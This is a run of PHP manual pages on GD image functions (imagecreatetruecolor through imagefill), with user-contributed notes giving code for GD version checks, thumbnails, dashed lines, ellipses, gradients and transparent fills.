using imagecolorallocate to specify the image's background color does not work with truecolor-image.

instead you have to use imagefill to force flood-filling the image with the backgorund-color previously allocated:

$bgColor = imagecolorallocate($img, 255,255,255);
imagefill($img , 0,0 , $bgColor);

kai
unigram at byair dot net 25-May-2004 11:46
If your hosting system does not have imagecreatetruecolor() because of PHP<4.2 and GD<2.0 then a get around is

<?
$thumb = imagecreate ($width, $height);
imageJPEG($thumb,"images/temp.jpg");
$thumb = @imagecreatefromjpeg("images/temp.jpg");
?>

which creates a thumbnail of right size, saves as a jpeg and then reads it, in true color.

This corrected the degradation caused by using palette images as destination for imagecopyresized ()
Justin Greer 09-Jan-2004 05:38
I know it's not a discussion board, but when incorrect info is posted, it should be corrected.

The function_exists() check does not work correctly because if PHP is compiled with an older GD library, the imagecreatetruecolor() function still exists -- it just gives a fatal error when called, stating that GD2 is required.  Therefore, the function_exists() method will fail on any new-ish copy of PHP that only has GD 1.x.  (That includes most of the 4.1.x and 4.2.x installs I've seen.)
fixxxer at php5 dot ru 27-Dec-2003 02:47
A note to post by Justin Greer @ 18-Nov-2003 10:40:

While this information has already been posted by php at REMOVEreallynicejerk dot com @ 16-Sep-2002 12:01, I feel it neccesary to notice 'cause Justin's post is in the top and it can make people go the wrong way: Justin's way of detecting which imagecreate function to use is too complicated, while there's an easy standard way:

<?php
if (function_exists('imagecreatetruecolor') {
 // use imagecreatetruecolor
} else {
 // use imagecreate
}
Justin Greer 18-Nov-2003 11:40
Unfortunately the @imagecreatetruecolor() method doesn't even work because php dies with a fatal error noting that GD 2 is required.  You can't even capture this error with a custom error handler.

I have come up with a function to get the GD version number that seems to work pretty well on every version of PHP and GD I've thrown at it (even CLI versions.)  It's obviously not the most efficient thing in the world, but it does cache the result in a static variable so calling it multiple times doesn't slow down further.

function gd_version() {
    static $gd_version_number = null;
    if ($gd_version_number === null) {
        // Use output buffering to get results from phpinfo()
        // without disturbing the page we're in.  Output
        // buffering is "stackable" so we don't even have to
        // worry about previous or encompassing buffering.
        ob_start();
        phpinfo(8);
        $module_info = ob_get_contents();
        ob_end_clean();
        if (preg_match("/\bgd\s+version\b[^\d\n\r]+?([\d\.]+)/i",
                $module_info,$matches)) {
            $gd_version_number = $matches[1];
        } else {
            $gd_version_number = 0;
        }
    }
    return $gd_version_number;
}

Then you can simply use it something like this:

if (gd_version() >= 2) {
    $image = ImageCreateTrueColor($width, $height);
} else {
    $image = ImageCreate($width, $height);
}
Hallvord RM Steen <phpnet at hallvord dot com> 27-Oct-2003 02:40
Regarding choosing the TrueColor or the plain version of imagecreate automatically, I've found that the following works for me:

<?php

$newImg=@ImageCreateTrueColor($width, $height)
    or $newImg=ImageCreate($width, $height);

?>
Jami 10-Jul-2003 12:11
It's good to use the imagecopyresampled- function when creating thumbnails with true colors, it might look better than imagecopyresized..
bjorntje at hotmail dot com 08-Jun-2003 07:41
I just fiddled around with Phpix, which had some problems using the GD lib
(washed out colours).
I changed the lines, which did the trick.
Just in case some of you are still having problems and
you can't change the PHP-install
on the hosting side:

$im = ImageCreateFromJPEG($source);
$new_im = ImageCreate($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,
$new_width,$new_height,ImageSX($im),ImageSY($im));

TO

$im = ImageCreateFromJPEG($source);
$new_im = ImageCreateTrueColor($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,$new_width,
$new_height,ImageSX($im),ImageSY($im));
Micke (micke dot prag at newstonight dot net) 09-Mar-2003 01:21
Here is my solution for creating images with the same code for both GD < 2 and GD > 2:

$dst_img = @imageCreateTrueColor($width, $height);
if (!$dst_img) { $dst_img = imageCreate($width, $height); }
Andreas from www.ems-p.de 28-Feb-2003 03:15
The request of gdlib from brad at brwebdesign dot com won't work with PHP < 4.1 (version_compare).

Some phpinfo versions offer the version number without space so you better ask for the dot:

ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo,".");
$phpinfo=substr($phpinfo,0,$end);
$length = strlen($phpinfo)-1;
$phpinfo=substr($phpinfo,$length);
if($phpinfo<2){
    $dst_img=ImageCreate($new_w,$new_h);}
else {
    $dst_img=ImageCreateTrueColor($new_w,$new_h);
}
marc at thewebguys dot com dot au 25-Jan-2003 01:40
I discovered when installing GD 2+ that ImageCreate() doesn't work well with JPEGS, it makes a true colour JPEG into a 16 colour mess when combining ImageCreateFromJPEG(). If you have GD 2+ you must use ImageCreateTrueColor() for things like thumbnails, etc.
billet_jerome at yahoo dot fr 14-Jan-2003 02:26
Because imagecreatetruecolor exist both in gd and gd2,
you can't use function_exists or get_extension_funcs to check for gd2 !
But ... there is a difference in imagettfbbox between gd and gd2:
gd use pixels and gd2 use points.

Then you can check gd2 with this function:

function sysB_chkgd2()
{

$rep=false;
if(isset($GLOBALS["gBGDVersion"]))
    {
    $rep=$GLOBALS["gBGDVersion"];
    }
else
    {
    if(function_exists("gd_info"))
       {
       $gdver=gd_info();
       if(strstr($gdver["GD Version"],"1.")!=false)
          {
          $rep=false;
          }
       else
           {
           $rep=true;
           }
       }
    else
        {
        $size=40;
        $font= your font file path here;
        $b=imagettfbbox ($size,0,$font,"abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ");

        if(($size+1)<abs($b[5]-$b[3]))
           {
           $rep=true;
           }

         }
    $GLOBALS["gBGDVersion"]=$rep;
    }

return $rep;
}
aaron at aaron-wright dot com 25-Sep-2002 11:49
Actually GD <2.0 had imagecreattruecolor, it just didn't work :P

This is a better test:

function chkgd2(){
  $testGD = get_extension_funcs("gd"); // Grab function list
  if (!$testGD){ echo "GD not even installed."; exit; }
  if (in_array ("imagegd2",$testGD)) $gd_version = "<2"; // Check
  if ($gd_version == "<2") return false; else return true;
}

if (chkgd2()) echo "<h1>GD2+ is installed.</h1>"; // Test for GD2
else echo "<h1>GD2+ is not installed.</h1>";
php at REMOVEreallynicejerk dot com 16-Sep-2002 01:01
Why not just use function_exists?

http://www.php.net/function_exists

Just because they have version 2.0 GD doesn't mean that they haven't disabled that function.

Also instead of determining which one you have on your machine and then writing setup specific code, you can write a universal code usable on either setups.

::pseudo code::

if (function_exists(imagecreatetruecolor)){
use imagecreatetruecolor()
}else{
use imagecreate()
}
brad at brwebdesign dot com 25-May-2002 11:26
I came up with this today.  You need GD2.0 or greater to use imagecreatetruecolor so you can parse phpinfo to get the needed information.  this will have to go at the very top of the page with no whitespace above it

<?php
ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo," ");
$phpinfo=substr($phpinfo,0,$end);
$phpinfo=substr($phpinfo,7);
if(version_compare("2.0", "$phpinfo")==1)
echo "you have a version less then 2";
?>

The if statement is for PHP 4.1 or greater, but you can use other methods of comparing the version numbers if the server you are on do not have that version of php
pmas7354 at artax dot karlin dot mff dot cuni dot cz 26-Feb-2002 02:40
Here is answer for first question 'why do I need true color images'.

True color images you need when you want to work with images such as photos (snapshots), video frames and so on.

When you need to combine some these images for user, or to send him only small part of your image, and you try to use 256 colors, image will be ugly (try it if you want). Some colors will change dramatically.

"Antialias" lines which you may see are probably the result of using JPEG compression. JPEG is not looseless compression so "small image details may be changed" in order to reduce image size dramatically. On really true-color images such as your snapshots of landscape and so on and using small compression level you will hardly see differences. But on exact objects, such as lines, circles, which you draw on solid background using single color, you can see that if you save and load this image that some details are changed.
rossa at studioware dot net 24-Jan-2002 04:38
function ConvertGreyscale($image){
# this file outputs a grey version of specified image

  $total = ImageColorsTotal($image);
  for( $i=0; $i<$total; $i++){
     $old = ImageColorsForIndex($image, $i);

     #trying to keep proper saturation when converting
     $commongrey = (int)(($old[red] + $old[green] + $old[blue]) / 3);

     ImageColorSet($image, $i, $commongrey, $commongrey, $commongrey);
  }
}
eric at spiderws dot com 12-Aug-2001 07:45
This little function does it for you:

<?
$image_id = imageCreateFromJPEG($image);
for($a=0;$a<imagecolorstotal ($image_id);$a++)
        {
            $color = ImageColorsForIndex($image_id,$i);
            $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            ImageColorSet($image_id, $a, $R, $G, $B);
        }
imageJPEG($image_id,"$image");
?>

The .299 , .578 , .114 values are estimations, and add a gamma correction to the colors. For more or less luminace in the result, you can change these values.

Goodluck,
Eric Mulders, Netherlands


Crop an image using the given coordinates and size, x, y, width and height

  • « imagecreatetruecolor
  • imagecropauto »
  • PHP Manual
  • GD and Image Functions
  • Crop an image using the given coordinates and size, x, y, width and height

imagecrop

(PHP 5 >= 5.5.0)

imagecrop — Crop an image using the given coordinates and size, x, y, width and height

Description

resource imagecrop ( resource $image , array $rect )

Warning

This function is currently not documented; only its argument list is available.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

rect

Array with keys "x", "y", "width" and "height".

Return Values

Return cropped image resource on success or FALSE on failure.

User Contributed Notes

nangomusic at gmail dot com 11-Jul-2014 07:38
An example to crop an image stored in $filename:

<?php
// Create a blank image and add some text
$ini_filename = 'test.JPG';
$im = imagecreatefromjpeg($ini_filename );

$ini_x_size = getimagesize($ini_filename )[0];
$ini_y_size = getimagesize($ini_filename )[1];

//the minimum of xlength and ylength to crop.
$crop_measure = min($ini_x_size, $ini_y_size);

// Set the content type header - in this case image/jpeg
//header('Content-Type: image/jpeg');

$to_crop_array = array('x' =>0 , 'y' => 0, 'width' => $crop_measure, 'height'=> $crop_measure);
$thumb_im = imagecrop($im, $to_crop_array);

imagejpeg($thumb_im, 'thumb.jpeg', 100);
?>


Crop an image automatically using one of the available modes

  • « imagecrop
  • imagedashedline »
  • PHP Manual
  • GD and Image Functions
  • Crop an image automatically using one of the available modes

imagecropauto

(PHP 5 >= 5.5.0)

imagecropauto — Crop an image automatically using one of the available modes

Description

resource imagecropauto ( resource $image [, int $mode = -1 [, float $threshold = .5 [, int $color = -1 ]]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

mode

One of IMG_CROP_* constants.

threshold

Used in IMG_CROP_THRESHOLD mode.

color

Used in IMG_CROP_THRESHOLD mode.

Return Values

Return cropped image resource on success or FALSE on failure.

User Contributed Notes

jordie at jordie dot org 16-Aug-2014 01:38
Found the list of IMG_CROP_* constants in the PHP source code:

Essentially this function crops the image from any padded background if the background is a single standard colour. It will look at columns of pixels first, if a whole column is the same color that's being searched for, the column (image width) will be cropped. Then the pixel rows will be analyzed and height cropped.

IMG_CROP_TRANSPARENT - crops out a transparent background

IMG_CROP_BLACK - crops out a black background

IMG_CROP_WHITE - crops out a black background

IMG_CROP_SIDES - Uses the 4 corners of the image to attempt to detect the background to crop

IMG_CROP_THRESHOLD -  Crop an image using a given color. The threshold argument defines the tolerance to be used while comparing the image color and the color to crop. The method used to calculate the color difference is based on the color distance in the RGB(a) cube.

IMG_CROP_DEFAULT - Attempts to use IMG_CROP_TRANSPARENT and if it fails it falls back to IMG_CROP_SIDES


Draw a dashed line

  • « imagecropauto
  • imagedestroy »
  • PHP Manual
  • GD and Image Functions
  • Draw a dashed line

imagedashedline

(PHP 4, PHP 5)

imagedashedline — Draw a dashed line

Description

bool imagedashedline ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color )

This function is deprecated. Use combination of imagesetstyle() and imageline() instead.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x1

Upper left x coordinate.

y1

Upper left y coordinate 0, 0 is the top left corner of the image.

x2

Bottom right x coordinate.

y2

Bottom right y coordinate.

color

The fill color. A color identifier created with imagecolorallocate().

Return Values

Always returns true

Examples

Example #1 imagedashedline() example

<?php
// Create a 100x100 image
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);

// Draw a vertical dashed line
imagedashedline($im, 50, 25, 50, 75, $white);

// Save the image
imagepng($im, './dashedline.png');
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagedashedline()

Example #2 Alternative to imagedashedline()

<?php
// Create a 100x100 image
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);

// Define our style: First 4 pixels is white and the
// next 4 is transparent. This creates the dashed line effect
$style = Array(
                $white,
                $white,
                $white,
                $white,
                IMG_COLOR_TRANSPARENT,
                IMG_COLOR_TRANSPARENT,
                IMG_COLOR_TRANSPARENT,
                IMG_COLOR_TRANSPARENT
                );

imagesetstyle($im, $style);

// Draw the dashed line
imageline($im, 50, 25, 50, 75, IMG_COLOR_STYLED);

// Save the image
imagepng($im, './imageline.png');
imagedestroy($im);
?>

See Also

  • imagesetstyle() - Set the style for line drawing
  • imageline() - Draw a line

User Contributed Notes

ihsanduvac at gmail dot com 18-Aug-2012 03:45
It doesn't work for horizontal lines. Use imagesetstyle()
tgabor72 at freemail dot hu 17-Aug-2010 08:50
You can use the imagepatternedline() function with extra features instead of imagedashedline() to give a visible dashedlines and other any kind of patterned lines on your images. The routine also manages the thickness of the line. Have fun!

<?php
// imagepatternedline() function
// Routine was developed to draw any kind of straight line with thickness. Routine uses imageline() function to draw line.
// Parameters are (similar to imageline() function):
//   $image: (resource) imagefile
//   $xstart, $ystart: (int) x,y coordinates for first point
//   $xend, $yend: (int) x,y coordinates for last point
//   $color: (int) color identifier that created with imagecolorallocate()
// extra parameters:
//   $thickness: (int) thickness of line in pixel
//   $pattern: (string) pattern of line, which repeats continuously while line is being drawed.
//   If there is '1' in the pattern that means the actual dot of line is visible,
//   '0' means dot is not visible (space between two line elements).
//   All characters regard for one pixel. Default: 1 dot wide dashed line with 4-4 dots and spaces.
// Examples for pattern:
// "1" or "" continuous line
// "10" close dotline
// "10000" dotline
// "111111110000001100000011111111" dotline for design drawing
// "111111111100000011000000110000001111111111" double dotline
// some examples for using imagepatternedline():
// imagepatternedline($image,300,300,442,442,$color,200,""); // a square with 200 length of edge and rotated 45 degrees
// imagepatternedline($image,100,200,289,200,$color,100,
//  "11001100000011001111000011001111110000001100001100"
// ."00001111001100111100000011000000110000110011001100"
// ."11000011111100111111000011001111001111000011110000"
// ."1111001111110011000011000000001100110011"); // barcode

function imagepatternedline($image, $xstart, $ystart, $xend, $yend, $color, $thickness=1, $pattern="11000011") {
   $pattern=(!strlen($pattern)) ? "1" : $pattern;
   $x=$xend-$xstart;
   $y=$yend-$ystart;
   $length=floor(sqrt(pow(($x),2)+pow(($y),2)));
   $fullpattern=$pattern;
   while (strlen($fullpattern)<$length) $fullpattern.=$pattern;
   if (!$length) {
      if ($fullpattern[0]) imagefilledellipse($image, $xstart, $ystart, $thickness, $thickness, $color);
      return;
   }
   $x1=$xstart;
   $y1=$ystart;
   $x2=$x1;
   $y2=$y1;
   $mx=$x/$length;
   $my=$y/$length;
   $line="";
   for($i=0;$i<$length;$i++){
      if (strlen($line)==0 or $fullpattern[$i]==$line[0]) {
         $line.=$fullpattern[$i];
      }else{
         $x2+=strlen($line)*$mx;
         $y2+=strlen($line)*$my;
         if ($line[0]) imageline($image, round($x1), round($y1), round($x2-$mx), round($y2-$my), $color);
         $k=1;
         for($j=0;$j<$thickness-1;$j++) {
            $k1=-(($k-0.5)*$my)*(floor($j*0.5)+1)*2;
            $k2= (($k-0.5)*$mx)*(floor($j*0.5)+1)*2;
            $k=1-$k;
            if ($line[0]) {
               imageline($image, round($x1)+$k1, round($y1)+$k2, round($x2-$mx)+$k1, round($y2-$my)+$k2, $color);
               if ($y) imageline($image, round($x1)+$k1+1, round($y1)+$k2, round($x2-$mx)+$k1+1, round($y2-$my)+$k2, $color);
               if ($x) imageline($image, round($x1)+$k1, round($y1)+$k2+1, round($x2-$mx)+$k1, round($y2-$my)+$k2+1, $color);
            }
         }
         $x1=$x2;
         $y1=$y2;
         $line=$fullpattern[$i];
      }
   }
   $x2+=strlen($line)*$mx;
   $y2+=strlen($line)*$my;
   if ($line[0]) imageline($image, round($x1), round($y1), round($xend), round($yend), $color);
   $k=1;
   for($j=0;$j<$thickness-1;$j++) {
      $k1=-(($k-0.5)*$my)*(floor($j*0.5)+1)*2;
      $k2= (($k-0.5)*$mx)*(floor($j*0.5)+1)*2;
      $k=1-$k;
      if ($line[0]) {
         imageline($image, round($x1)+$k1, round($y1)+$k2, round($xend)+$k1, round($yend)+$k2, $color);
         if ($y) imageline($image, round($x1)+$k1+1, round($y1)+$k2, round($xend)+$k1+1, round($yend)+$k2, $color);
         if ($x) imageline($image, round($x1)+$k1, round($y1)+$k2+1, round($xend)+$k1, round($yend)+$k2+1, $color);
      }
   }
}
?>
ProfessorNeo at gmx dot de 16-Feb-2006 09:07
The bug reported by 'michi at marel dot at' also exists in PHP version 5.1.1. This functions just works with vertical lines!
alien-scripts.de 13-Jul-2005 11:17
I make my own dashedline:

<?
for($l=50;$l<=550;$l+=5)
   {
    if($da == 0) { $da = 1; }
    elseif($da == 1){
    imageline($bild,$l,50,$l+5,50,$green);
    $da = 0; }
   }
?>

$l is the x-value
and we have a dashed line :)
michi at marel dot at 19-Nov-2003 03:49
There's a bug till PHP 4.0.4 in this function. You can only draw vertical dashed lines. To draw other dashed lines you can set <ImageSetStyle> to a special dashed line and draw it by <ImageLine>.

Sample code:
<?php
function MDashedLine($image, $x0, $y0, $x1, $y1, $fg, $bg)
{
        $st = array($fg, $fg, $fg, $fg, $bg, $bg, $bg, $bg);
        ImageSetStyle($image, $st);
        ImageLine($image, $x0, $y0, $x1, $y1, IMG_COLOR_STYLED);
}
?>


Destroy an image

  • « imagedashedline
  • imageellipse »
  • PHP Manual
  • GD and Image Functions
  • Destroy an image

imagedestroy

(PHP 4, PHP 5)

imagedestroy — Destroy an image

Description

bool imagedestroy ( resource $image )

imagedestroy() frees any memory associated with image image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using imagedestroy() example

<?php
// create a 100 x 100 image
$im = imagecreatetruecolor(100, 100);

// alter or save the image

// frees image from memory
imagedestroy($im);
?>

User Contributed Notes

corpus-deus at softhome dot net 13-Feb-2010 03:33
In theory creating an image object and calling imagedestroy in your destructor should be a good way of doing it; something like:

<?php
final class My_Image() {

  private $img;

  public function __construct() {
    $this->img = imagecreatetruecolor();
    // ... other stuff ...
  }

  public function __destruct() {
    if(is_resource($this->img)) {
      imagedestroy($this->img);
    }
  }

  // ... other methods...

}
?>

I check that $this->img is a resource in case imagecreatetruecolor() fails or you null the value somewhere down the line from a method call meaning that $this->img is NOT a resource, in which case imagedestroy is an unecessary function call that just fails with a warning message.
webmaster at codefisher dot org 06-Oct-2007 07:26
And to continue what Docey said, if php did not destroy all resources when the script stopped it would be a huge memory leak and everyone would be crying out for it to be fixed right away.

I have been using this function during a script that was breaking an image made of many little icons into the little parts, which could mean 400+ images in the one script, which was using a lot of memory so I needed to destroy them.
Docey 20-Oct-2006 07:59
When the script stop PHP will automatic destory ANY
resources, this goes for aswell for images, thus in the
case the use clicks the stop button, php will automatic
clear the resource.

thus imagedestroy is used to clear the memory BEFORE
the script ends. this is usefull to keep memory usage
DURING the script to an acceptable level.

hope this clear somethings up.
Andrew Hoffmann - ahoffmann at wisc dot edu 23-Jun-2005 04:25
When working with a lot of high-resolution images, it's IMPERATIVE that you use the imagedestroy() function.

In my scenario, I was taking two high resolution desktop wallpapers and shrinking them down into successively smaller ones (preventing the user from having to upload a dozen files).

At first, my script would run, then just stop.  I realized later that I had not destroyed the source image and the newly resized image in memory after I had finished writing the file out to disk.  Thus, I quickly reached the memory limit that my hosting provider placed in their php.ini file.

Reusing an image variable does NOT clear the old data out of memory!  You must use imagedestroy() to clear the data out.  (I don't know if unset() works as well).

Also note that the image data in memory is raw, so don't base how much memory you are using based on the original filesize of the compressed image (such as jpeg or png).
dan at mlodecki dot net 05-Mar-2004 01:42
I have noticed that gd drawing functions can behave oddly if there is a previous image which has not been imagedestroy()'ed.  You should always imagedestroy when you are done with an image object.


Draw an ellipse

  • « imagedestroy
  • imagefill »
  • PHP Manual
  • GD and Image Functions
  • Draw an ellipse

imageellipse

(PHP 4 >= 4.0.6, PHP 5)

imageellipse — Draw an ellipse

Description

bool imageellipse ( resource $image , int $cx , int $cy , int $width , int $height , int $color )

Draws an ellipse centered at the specified coordinates.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

cx

x-coordinate of the center.

cy

y-coordinate of the center.

width

The ellipse width.

height

The ellipse height.

color

The color of the ellipse. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imageellipse() example

<?php

// Create a blank image.
$image = imagecreatetruecolor(400, 300);

// Select the background color.
$bg = imagecolorallocate($image, 0, 0, 0);

// Fill the background with the color selected above.
imagefill($image, 0, 0, $bg);

// Choose a color for the ellipse.
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// Draw the ellipse.
imageellipse($image, 200, 150, 300, 200, $col_ellipse);

// Output the image.
header("Content-type: image/png");
imagepng($image);

?>

The above example will output something similar to:

Output of example : imageellipse()

Notes

Note:

This function requires GD 2.0.2 or later.

See Also

  • imagefilledellipse() - Draw a filled ellipse
  • imagearc() - Draws an arc

User Contributed Notes

themountainlion at gmail dot com 13-Jul-2008 06:28
In example #1 above, the variable $bg is set but not used. Set the background to anything but black ,and it won't take effect. The example needs

imagefill($image, 0, 0, $bg);

Some other image function examples have the same issue.
simon_nuttall at hotmail dot com 07-Jun-2006 10:36
This is an optimised and bug fixed version of nojer at yahoo dot com's rotatedellipse function. I've changed it so that the arguments are compatible with imageellipse. See notes on imagearc for original version.

<?php

function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=false) {
  // modified here from nojer's version
  // Rotates from the three o-clock position clockwise with increasing angle.
  // Arguments are compatible with imageellipse.

  $width=$width/2;
  $height=$height/2;

  // This affects how coarse the ellipse is drawn.
  $step=3;

  $cosangle=cos(deg2rad($rotateangle));
  $sinangle=sin(deg2rad($rotateangle));

  // $px and $py are initialised to values corresponding to $angle=0.
  $px=$width * $cosangle;
  $py=$width * $sinangle;

  for ($angle=$step; $angle<=(180+$step); $angle+=$step) {

    $ox = $width * cos(deg2rad($angle));
    $oy = $height * sin(deg2rad($angle));

    $x = ($ox * $cosangle) - ($oy * $sinangle);
    $y = ($ox * $sinangle) + ($oy * $cosangle);

    if ($filled) {
      triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
      triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
    } else {
      imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
      imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
    }
    $px=$x;
    $py=$y;
  }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

?>
julian 16-Jan-2005 03:23
if you want to display an ellipse in the upper left corner of an image, you can easily calculate the corresponding cx and cy values. this example will draw an ellipse having the same width and height as the image.

<?php

$ellipse_width = 100;
$ellipse_height = 200;

$ellipse_cx = ($ellipse_width / 2);
$ellipse_cy = ($ellipse_height / 2);

$img_x = $ellipse_width;
$img_y = $ellipse_height;

$img = imagecreate($img_x, $img_y);
$bg = imagecolorallocate($img, 255,255,255);

$ellipse_color = imagecolorallocate($img, 0, 0, 0);

imageellipse($img, $ellipse_cx, $ellipse_cy, $ellipse_width, $ellipse_height, $ellipse_color);

header("Content-type: image/png");
imagepng($img);
imagedestroy($img);

?>
agentyoungsoo at hanmail dot net 05-Dec-2002 05:56
When you wana use "ImageEllipse" function
in under GD 2.0.2 version, you can use "ImageArc" like bellow

----------------------------------------------------
$file_name = "test.png";

$screen_x = 300;
$screen_y = 200;

$x1 = $screen_x / 2;
$y1 = $screen_y / 2;

$radius = 30;

$image = ImageCreate($screen_x, $screen_y);
$black = ImageColorAllocate($image, 0,0,0);

ImageArc($image, $x1, $y1, $radius , $radius , 0, 360, $black);

ImagePng($image, $file_name);
ImageDestroy($image);
----------------------------------------------------


Flood fill

  • « imageellipse
  • imagefilledarc »
  • PHP Manual
  • GD and Image Functions
  • Flood fill

imagefill

(PHP 4, PHP 5)

imagefill — Flood fill

Description

bool imagefill ( resource $image , int $x , int $y , int $color )

Performs a flood fill starting at the given coordinate (top left is 0, 0) with the given color in the image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x

x-coordinate of start point.

y

y-coordinate of start point.

color

The fill color. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagefill() example

<?php

$im = imagecreatetruecolor(100, 100);

// sets background to red
$red = imagecolorallocate($im, 255, 0, 0);
imagefill($im, 0, 0, $red);

header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagefill()

See Also

  • imagecolorallocate() - Allocate a color for an image

User Contributed Notes

George Edison 28-Sep-2012 08:19
Creating a new true-color image, filling it with a transparent color, and saving it as a PNG image can be accomplished with the following:

<?php

$new   = imagecreatetruecolor(320, 320);
$color = imagecolorallocatealpha($new, 0, 0, 0, 127);
imagefill($new, 0, 0, $color);
imagesavealpha($new, TRUE); // it took me a good 10 minutes to figure this part out
imagepng($new);

?>

The image needs to be created with imagecreatetruecolor(), you must use imagefill() instead of imagefilledrectange(), and you need to call imagesavealpha(). No other combination of functions calls seems to produce the intended results.
Christopher Kramer 07-Oct-2009 12:00
Here is a function to generate a gradient.
You specify width, heigth and 4 colors (of the 4 corners).

An image handle of the gradient image will be returned.
You can copy the returned image onto another image using imageecopy.
This can be helpful if you want to generate a shadow for example.
("Glow effect example": Generate 8 gradients, one for each side and one for each corner. The outer side of the gradients have the background color and the inner sides have a bright color such as white.)

But beware: This function is not optimized for performance, it might become slow on big images. For shadows, better cache the generated gradients.

Note: For gradients, using true-color is highly recommended.

<?php

function gradient($w=100, $h=100, $c=array('#FFFFFF','#FF0000','#00FF00','#0000FF'), $hex=true) {

 /*
 Generates a gradient image

 Author: Christopher Kramer

 Parameters:
 w: width in px
 h: height in px
 c: color-array with 4 elements:
    $c[0]:   top left color
    $c[1]:   top right color
    $c[2]:   bottom left color
    $c[3]:   bottom right color

 if $hex is true (default), colors are hex-strings like '#FFFFFF' (NOT '#FFF')
 if $hex is false, a color is an array of 3 elements which are the rgb-values, e.g.:
 $c[0]=array(0,255,255);

 */

 $im=imagecreatetruecolor($w,$h);

 if($hex) {  // convert hex-values to rgb
  for($i=0;$i<=3;$i++) {
   $c[$i]=hex2rgb($c[$i]);
  }
 }

 $rgb=$c[0]; // start with top left color
 for($x=0;$x<=$w;$x++) { // loop columns
  for($y=0;$y<=$h;$y++) { // loop rows
   // set pixel color
   $col=imagecolorallocate($im,$rgb[0],$rgb[1],$rgb[2]);
   imagesetpixel($im,$x-1,$y-1,$col);
   // calculate new color
   for($i=0;$i<=2;$i++) {
    $rgb[$i]=
      $c[0][$i]*(($w-$x)*($h-$y)/($w*$h)) +
      $c[1][$i]*($x     *($h-$y)/($w*$h)) +
      $c[2][$i]*(($w-$x)*$y     /($w*$h)) +
      $c[3][$i]*($x     *$y     /($w*$h));
   }
  }
 }
 return $im;
}

function hex2rgb($hex)
 {
 $rgb[0]=hexdec(substr($hex,1,2));
 $rgb[1]=hexdec(substr($hex,3,2));
 $rgb[2]=hexdec(substr($hex,5,2));
 return($rgb);
 }

// usage example

$image=gradient(300, 300, array('#000000', '#FFFFFF', '#FF0000', '#0000FF'));

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
dunhamzzz [A] gmail 01-Sep-2008 05:36
I feel its worth pointing out that you cannot fill a transparent colour that you have assigned with imagecolorallocatealpha, the colour will fill, but without its transparency,

I find the easiest method around this is to just fill a rectangle using imagefilledrectangle() to draw a fill instead.
Cypog 17-Mar-2008 04:27
imagefill can't deal with alpha colors, use imagefilledrectangle instead.

<?php

    header("Content-Type: image/png");
    $im = imagecreatefrompng("img/button.png");
    if (empty($_GET['alpha']))
        {$_GET['alpha'] = 10;}
    $color = imagecolorallocatealpha($im, 255, 255, 255, $_GET['alpha']);
    imagefillalpha($im, $color);
    imagepng($im);
    imagedestroy($im);

    function ImageFillAlpha($image, $color)
    {
        imagefilledrectangle($image, 0, 0, imagesx($image), imagesy($image), $color);
    }

?>
info at educar dot pro dot br 09-Mar-2007 04:54
Example 1
The filled region will be external to a demarcated region, if the initial coordinates will be outside of this region.

<?php
$src621 = imagecreate(200,200);
$clr_1_621 = imagecolorallocate($src621, 255, 255, 0);
$clr_2_621 = imagecolorallocate($src621, 0, 0, 250);
$clr_4_621 = imagecolorallocate($src621, 2,2,55);
imagerectangle($src621, 100, 100, 150, 150, $clr_4_621);
imagefill($src621, 110, 110, $clr_2_621);
header("Content-Type: image/png");
imagepng ($src621);
imagedestroy($src621);
?>

Example 2
The filled region will be internal to a demarcated region, if the initial coordinates will be inside of this region.
<?php
$src622 = imagecreate(200,200);
$clr_1_622 = imagecolorallocate($src622, 255, 255, 0);
$clr_2_622 = imagecolorallocate($src622, 0, 0, 250);
$clr_4_622 = imagecolorallocate($src622, 2,2,55);
imagerectangle($src622, 100, 100, 150, 150, $clr_4_622);
imagefill($src622, 10, 10, $clr_2_622);
